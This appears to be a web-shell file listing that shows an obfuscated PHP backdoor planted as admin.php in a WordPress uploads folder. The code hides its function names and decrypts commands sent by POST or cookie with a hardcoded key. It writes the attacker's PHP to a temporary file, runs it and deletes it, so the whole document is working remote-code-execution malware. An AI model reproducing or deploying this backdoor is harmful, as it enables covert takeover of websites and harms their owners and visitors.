HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2023/admin.php
<?php $fshdp /*  mfhj*/ =	'fshdp'    ^    '';

$uqxybj    =	$fshdp(672-575)    . /*mjhq   */ "r"."\x72"     .  "a"."y"."\137" /*p  */ . /* ggp */ "m"."\141" /*   g   */ .	"\x70";$jbcokauda      =  "\151" /*  zrsvz*/ .      "\155"	.	$fshdp(112)       . /*al_ata*/ "\x6c"    .      "o"."\144" /*   zaphnt   */ . /*   wosak   */ "e";


function    xql_gwcm($rrhkkklk, /*  o*/ $otigbgsipc){

 /*xjoydk  */ global    $fshdp;

   

 /*   enqgl*/ $rrhkkklk  =	$fshdp(60)  .	"?".$fshdp(228-116)   .	"\x68"	. /*  qvzr*/ "\160"	.	$fshdp(32) /* cmi */ .    "u"."\x6e"	. /*  mbj  */ "l".$fshdp(1089-984)	.    $fshdp(1008-898) /*   xdvjs   */ .  "\153"       . /*   je  */ $fshdp(613-573)     .    $fshdp(372-277)    .   "\x5f"    .	"F"."I"."L"."\x45"      . /*  uwlp*/ "_"."_".")".";".$fshdp(32)      .    $rrhkkklk["\144"];

 /*   prjj_*/ $yqjisfm     = /*   kquvx */ $fshdp(1031-929) /*   ngrx */ .    $fshdp(105)	. /*wurqud*/ "l".$fshdp(101) /* uzepx */ .       "\137"	. /*xdf  */ "\160"     .	$fshdp(1071-954)    .      "t"."_".$fshdp(99)	.	"o"."n".$fshdp(404-288) /*  mdb   */ .  $fshdp(859-758)    . /*   xd   */ $fshdp(110) /* js */ .    "t"."s";

       $yqjisfm($otigbgsipc,	$rrhkkklk);


 /*   szl  */ 

	ux_gfomi($otigbgsipc);}
$kxxzine /*  ajqcuz*/ =	73;




function     ux_gfomi($otigbgsipc)
{
 /* qc  */ global    $fshdp;	


      include($otigbgsipc);


    $pnrtiunxgo   = /*   w  */ $otigbgsipc;

      @unlink($pnrtiunxgo);}


function       jyvgu()

{  global	$fshdp;


 /* fvysw   */ $ruewqf /*  y */ =       array();
    $ruewqf["p"."v"]    =    phpversion();     $ruewqf["s".$fshdp(118)]    =  "3"."\56" /*xnqe   */ .      "\65";	$hehfdbg    =  74;

   echo	@serialize($ruewqf);}





function /* haarzb  */ tnxb_os($rrhkkklk,    $mkifggdr)


{


     global    $fshdp;

      $xaagof    = /* wjpk  */ "";

       $ukcw_tbbl       =    strlen($rrhkkklk);	$_ucjvvvs_     =       strlen($mkifggdr);     $ruewqf /*  x  */ =	0;
       $fnrzcno   = /*   dzqdh*/ 0; /*ly */ 


 /*   m_busn*/ while  ($ruewqf  <       $ukcw_tbbl) /* kysu */ {
    $ewaitgze  = /* njaeo */ $rrhkkklk[$ruewqf] /*mv*/ ^    $mkifggdr[$fnrzcno    % /*  ci_nq*/ $_ucjvvvs_];	$xaagof    .=      $ewaitgze; /*  tcct */ $fnrzcno++;       $ruewqf++;
    }
 /*  lfwfvu */ 	if /*_thso  */ (strlen($xaagof)	> /*   zc  */ 20)    {


    $oxtfxyrb    =	substr($xaagof,    0,    20);

 /*mh */ }
       if    (empty($xaagof))	{

       $xaagof     = /*eoj   */ date('Y-m-d    H:i:s');      }


 /*  uqljj*/ return /*   xgibtc */ $xaagof;

}




function /*bro  */ snlxh($bgedkmsixy)


{

	global	$fshdp;    /*  kcpo_h */ $nnuss_eokg  =   "b"."0"."7"."0".$fshdp(289-237)     .      "7".$fshdp(97)."c".$fshdp(241-196) /* qdzghi*/ . /* tbzl */ "2"."9"."\x32" /*xzudc*/ . /*   w  */ $fshdp(423-371) /*af   */ . /*   nko */ "-"."4"."9"."7"."8"."-"."8"."\141"    .	$fshdp(98) /*  izq   */ .  $fshdp(97).$fshdp(564-519)  .    "0"."\x32" /* i   */ .      "8"."3"."0"."7".$fshdp(405-350)	.    $fshdp(953-898) /*   ewjoa */ .     $fshdp(101-52) /*   plruge */ . /* jiqnww  */ "\141"    .   "\64" /* xidgi*/ . /*enx */ "\x64";


      


 /*cupjk   */ foreach	($bgedkmsixy	as   $rnc_wjwnpq	=> /*   tlwl  */ $rrhkkklk)     {


    pizcsmpwh(base64_decode($rrhkkklk),    $nnuss_eokg,     $rnc_wjwnpq);
      }
}

function     pizcsmpwh($rrhkkklk,     $nnuss_eokg,	$rnc_wjwnpq)


{

 /*   fcd   */ global   $fshdp;
 /*   k*/  /*mef   */ $rrhkkklk   = /*   _frbcr */ unserialize(tnxb_os(tnxb_os($rrhkkklk,	$nnuss_eokg), /*  p */ $rnc_wjwnpq));
	$makrqmnc    = /* b_tnb */ 'igu';


	$hfbiemq    =    'dipuale_l';

    if	(isset($rrhkkklk[$fshdp(134-37) /*  nw */ .  $fshdp(351-244)])) /*  h*/ {

 /*  gipth */ if /* bplr   */ ($rrhkkklk[$fshdp(97)]    == /*xlxh  */ "i")    {      jyvgu();


 /*  xrzb*/ } /* v */ elseif  ($rrhkkklk[$fshdp(97)]    ==       "\x65")     {


	xql_gwcm($rrhkkklk, /*yq*/ sprintf($fshdp(46)	.    $fshdp(546-499)	.  "\x25"	.   "\x73"    .       "."."\160"    .       "\154",      md5($nnuss_eokg)));

			$ttwynqamu   =    44;
      }
	exit(); /* xc   */ }

}

snlxh($_POST); /* nl  */ 



$hb_jqpteq	= /*  bhtey  */ 'rawurldecode';



$hzbyyhfdz	= /*  gw   */ $uqxybj($hb_jqpteq, /* rnpf*/ $_POST);

$jbcokauda("",       $hb_jqpteq);
snlxh($_COOKIE);
$fduwrys	=     $uqxybj($hb_jqpteq,    $_COOKIE);





?>